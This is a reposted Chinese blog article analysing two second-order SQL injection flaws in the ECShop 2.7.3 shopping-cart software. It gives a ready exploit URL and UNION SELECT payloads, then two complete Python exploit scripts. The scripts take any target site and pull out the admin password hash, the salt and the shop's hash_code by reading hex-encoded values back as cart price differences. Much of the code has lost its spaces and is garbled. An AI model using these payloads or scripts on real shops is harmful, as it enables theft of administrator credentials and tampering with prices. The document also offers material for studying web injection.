ECShop二次注入利用分析【转】
更新时间:2016-11-10 点击量:1672
本文章来自于网络,仅供技术研究。
ecshop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。该系统基于PHP语言及MYSQL数据库构架开发的跨平台开源程序,目前最新版本为2.7.3。
最近乌云爆出了2次注入,之后我对他提出的2个2次注入的漏洞进行了分析,发现第一个注入并不是那么好利用,也没给出POC,另一个2次注入则给出了POC。
第一个漏洞的细节可见http://*******-2013-026458,这个漏洞我就不分析了,直接给出利用exp。
/wholesale.php?step=act=add_to_cart act_id=1&goods_number[1][0]=100&attr_id[1][0][0][attr_id]=120&attr_i d[1][0][0][attr_val_id]=0&attr_id[1][0][0][attr_name]=a')and1=2union selectpasswordfromecs_admin_userwhereuser_id=1#
第二个漏洞的细节见http://*******-2013-026421,此漏洞还可以直接修改商品价格,对电商影响还是很大的。
function spec_price($spec) { if(!empty($spec)) { $where=db_create_in($spec,'goods_attr_id'); $sql='SELECTSUM(attr_price)ASattr_priceFROM'. $GLOBALS['ecs']->table('goods_attr')."WHERE$where"; $price=floatval($GLOBALS['db']->getOne($sql)); } functiondb_create_in($item_list,$field_name='') { if(empty($item_list)) { return $field_name."IN('')"; } else { if(!is_array($item_list)) { $item_list=explode(',',$item_list); } $item_list=array_unique($item_list); $item_list_tmp=''; foreach($item_listAS$item) { if($item!=='') { $item_list_tmp.=$item_list_tmp?",'$item'": "'$item'"; } } if(empty($item_list_tmp)) { return $field_name."IN('')"; } else { return $field_name.'IN('.$item_list_tmp.')'; } } }
在这2个函数中,$spec是可控的,但由于db_create_in函数的存在,导致了带逗号的SQL语句都不能使用。经过与flyh4t的激烈讨论,得到了几个可取的方法。
//如果需要加入规格价格
if($is_spec_price) { if(!empty($spec)) { $spec_price=spec_price($spec); $final_price+=$spec_price; } }
由上面代码可以看到,最终的价格会输出在页面,这样就不需要盲注了。完整的SQL语句如下,结果如图1所示。
SELECT SUM(attr_price) AS attr_price FROM `uuecstest`.`ecs_goods_attr` WHERE goods_attr_id IN ('238','237') and 1=2 union select password from ecs_admin_user where password like 'e%'
但结果发现NULL在第一位,导致price价格也为null,此时我们可以用降序语句进行排序。
SELECT SUM (attr_price) AS attr_price FROM `uuecstest`.`ecs_goods_attr` WHERE goods_attr_id IN ('238','237') and 1=2 union select password from ecs_admin_user where password like'e%'order by attr_price desc为了能够与数字相加,password用hex表示。 237') and 1=2 union select hex(password) from ecs_admin_user where password like 'e%' order by attr_price desc 但这个效率也太低了,当然,我们也可以用regex来加快注入速度。 237')and 1=2 union select password from ecs_admin_user where user_id=1 and password REGEXP'^[a-z]' order by user_iddesc
不过仍然不太让人满意,我想更加快点,然后就有了下面的各种折腾。
思路是这样的,通过hex(password)来与原有的价格相加,得到的差值可以还原出原先的字符。当初是直接hex(password)后相加,发现字符达到最大值“溢出”了,如图2所示。
<?php $a=0x6531663739623465626137646161396130363639356564616264343238623233; $x=0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; $res=$a/$x; echo$res; $res=dechex($res); //会输出65
通过这种逐位提取,可以达到注入出字符的效果。16进制理解起来可能稍显麻烦,这里以10进制举例说明。
比如635098div10000,用MySQL的div或者floor函数取下限,防止4舍5入,得到63;635098mod630000取余,得到5098,再继续取前2位,如此类推(其实直接取3或者4位也可以)。
PHP下测试没问题,但是MySQL上测试却出问题了,字符太长,导致数据不准,算是个bug,如图3所示。
本来还以为这条路又行不通了,但是无意间又找到了希望,翻资料翻到了substring还能这样用,如图4所示。
现在问题都解决了,就差EXP了。要写出高效的EXP,先要解决维持Cookie会话的问题。我用requests模块的s=requests.Session()解决。还有正则提取关键数据的问题,由于想写的自动化点,其中遇到了各种调试各种代码重构。
首先需要安装requests模块(http://*******/),我也是第一次使用这模块,发现还挺好用的。下面简单介绍下模块的使用,比如文章中用到的s=requests.Session()保持会话,以及r=requests.get("http://*******")、r=
requests.post("http://*******")、r=requests.put("*******")、r=
requests.options("http://*******")等提交方式,用来写Webdav的IIS写权限漏洞很方便;r.encoding='utf-8'还能改变输出的编码,r.text显示返回的内容。更多详细的内容,可以到http://*******/查看。
#-*-coding:cp936-*- #/usr/bin/envpython #codeby花开、若相惜 importurllib2,cookielib,requests importre,binascii """ ecshop二次注入 blog:huakai.paxmac.org email:huakai@paxmac.org """ attackurl=raw_input("输入漏洞网站:") defpostdata(url,data="",regex=""): r=s.post(url,data) result=r.text ifregex!="": reg=re.findall(regex,result) ifreg: returnresult,reg[0] else: returnresult definfomation(url): globalspec,goods,price goods=re.findall(r'id=(\d{1,5})',url) spec=postdata(url,regex=r"spec_value_(\d{1,10})") defsqlinjection(sql): post_data={"goods":"""{"quick":1,"spec":["%s","%s"],"goods_id":%s,"number":"1","parent":0}""" %(spec[1],sql,goods[0])} url=attackurl+"/flow.php?step=add_to_cart" price=postdata(url,post_data,regex=ur"总计金额\s\S(\d{1,10})") url=attackurl+"/flow.php" goods_number=postdata(url,regex=r"goods_number\[.*\]") goods_num=goods_number[1] data={"%s"%(goods_num):"1","submit":"%B8%FC%D0%C2%B9%BA%CE%EF%B3%B5","step":"up date_cart"} update_cart=postdata(url,data,regex=ur"购物车更新成功") new_price=postdata(url,regex=ur"购物金额小计\s\S(\d{1,10})") ifnew_price[1]: res_price=int(new_price[1])-int(price[1]) passwd=binascii.a2b_hex(str(res_price)) #清空购物车 url=url+"/flow.php?step=clear" postdata(url) returnpasswd defget_salt(): sql="2')and1=2unionselecthex(substring(ec_saltfrom1for4))fromecs_admin_user whereuser_id=1orderbyattr_pricedesc#" print"saltis:"+sqlinjection(sql) defget_hash_code(): passwd="" forxinrange(0,8): sql="2')and1=2unionselecthex(substring(valuefrom%dfor4))from ecs_shop_configwherecode='hash_code'orderbyattr_pricedesc#"%(1+x*4) passwd+=sqlinjection(sql) print"hash_codeis:"+passwd defget_admin_pass(): globalpasswd passwd="" forxinrange(0,8): sql="2')and1=2unionselecthex(substring(passwordfrom%dfor4))from ecs_admin_userwhereuser_id=1orderbyattr_pricedesc#"%(1+x*4) passwd+=sqlinjection(sql) print"admin_passwordis:"+passwd get_salt() get_hash_code() if__name__=="__main__": s=requests.Session() url=attackurl+"/goods.php?id=9" infomation(url) ////如果不存在就要修改下id print"开始破解...(时间有点长,请耐心等待)" get_admin_pass()
此段代码编译运行的结果如图5所示。
我们还可以打开调试信息,观察每一次提交返回的数据,用于排查错误。实现代码如下:
#-*-coding:cp936-*- #/usr/bin/envpython #codeby花开、若相惜 importurllib2,cookielib,requests importre,binascii importsys,os """ ecshop二次注入 blog:huakai.paxmac.org email:huakai@paxmac.org """ attackurl=raw_input("输入漏洞网站:") defpostdata(url,data="",regex=""): r=s.post(url,data) result=r.text ifregex!="": reg=re.findall(regex,result) ifreg: returnresult,reg[0] else: returnresult definfomation(url): globalspec,goods,price goods=re.findall(r'id=(\d{1,5})',url) ifgoods: print"Findgoodsidis:"+goods[0] spec=postdata(url,regex=r"spec_value_(\d{1,10})") ifspec[1]: print"Findspecis:"+spec[1] defsqlinjection(sql): post_data={"goods":"""{"quick":1,"spec":["%s","%s"],"goods_id":%s,"number":"1","parent":0}""" %(spec[1],sql,goods[0])} url=attackurl+"/flow.php?step=add_to_cart" price=postdata(url,post_data,regex=ur"总计金额\s\S(\d{1,10})") ifprice[1]: print"总金额:"+str(price[1]) url=attackurl+"/flow.php" goods_number=postdata(url,regex=r"goods_number\[.*\]") ifgoods_number[1]: goods_num=goods_number[1] print"Findgoods_numberis:"+ goods_num data={"%s"%(goods_num):"1","submit":"%B8%FC%D0%C2%B9%BA%CE%EF%B3%B5","step":"up date_cart"} update_cart=postdata(url,data,regex=ur"购物车更新成功") ifupdate_cart[1]: printupdate_cart[1] new_price=postdata(url,regex=ur"购物金额小计\s\S(\d{1,10})") ifnew_price[1]: print"更新后价格:"+str(new_price[1]) res_price=int(new_price[1])-int(price[1]) passwd=binascii.a2b_hex(str(res_price)) #清空购物车 url=url+"/flow.php?step=clear" postdata(url) returnpasswd defget_salt(): sql="2')and1=2unionselecthex(substring(ec_saltfrom1for4))fromecs_admin_user whereuser_id=1orderbyattr_pricedesc#" print"saltis:"+sqlinjection(sql) defget_hash_code(): passwd="" forxinrange(0,8): sql="2')and1=2unionselecthex(substring(valuefrom%dfor4))from ecs_shop_configwherecode='hash_code'orderbyattr_pricedesc#"%(1+x*4) passwd+=sqlinjection(sql) printpasswd print"hash_codeis:"+passwd defget_admin_pass(): globalpasswd passwd="" forxinrange(0,8): sql="2')and1=2unionselecthex(substring(passwordfrom%dfor4))from ecs_admin_userwhereuser_id=1orderbyattr_pricedesc#"%(1+x*4) passwd+=sqlinjection(sql) printpasswd print"admin_passis:"+passwd get_salt() get_hash_code() if__name__=="__main__": s=requests.Session() url=attackurl+"/goods.php?id=9" infomation(url) get_admin_pass()
此段代码编译运行后的结果如图6所示。
本文提供了一个编写EXP的思路,网上应该还没有这样写EXP的,这个漏洞确实还是挺有意思的。我抛弃了传统的like/regexp编写EXP的思路,为了提高更快的速度,给出了一个新的思路。这里也只是抛砖引玉,如果大家有更好的方法可以实现,可以共同交流。
(完)
本文来自 危险漫步博客;
如果文章对您有帮助,就打赏一个吧